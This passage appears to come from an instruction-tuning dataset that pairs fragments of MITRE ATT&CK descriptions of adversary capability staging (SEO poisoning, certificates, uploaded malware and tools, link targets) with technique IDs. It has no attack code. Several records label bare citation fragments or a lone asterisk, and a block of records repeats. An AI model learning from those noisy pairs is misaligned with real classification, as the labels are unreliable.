T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Atlas SEO)(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Atlas SEO)(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines.", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites.", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ZScaler SEO)(Citation: Atlas SEO)", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ZScaler SEO)(Citation: Atlas SEO) ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader) ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install SSL/TLS certificates that can be used during targeting.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install SSL/TLS certificates that can be used during targeting. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installation of digital certificates may take place for a number of server types, including web servers and email servers.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installation of digital certificates may take place for a number of server types, including web servers and email servers. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)).", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can be open or closed source, free or commercial.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can be open or closed source, free or commercial. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)).", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390)", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing) ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos IPFS 2022)", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos IPFS 2022) ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub).", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may put in place resources that are referenced by a link that can be used during targeting.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may put in place resources that are referenced by a link that can be used during targeting. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that 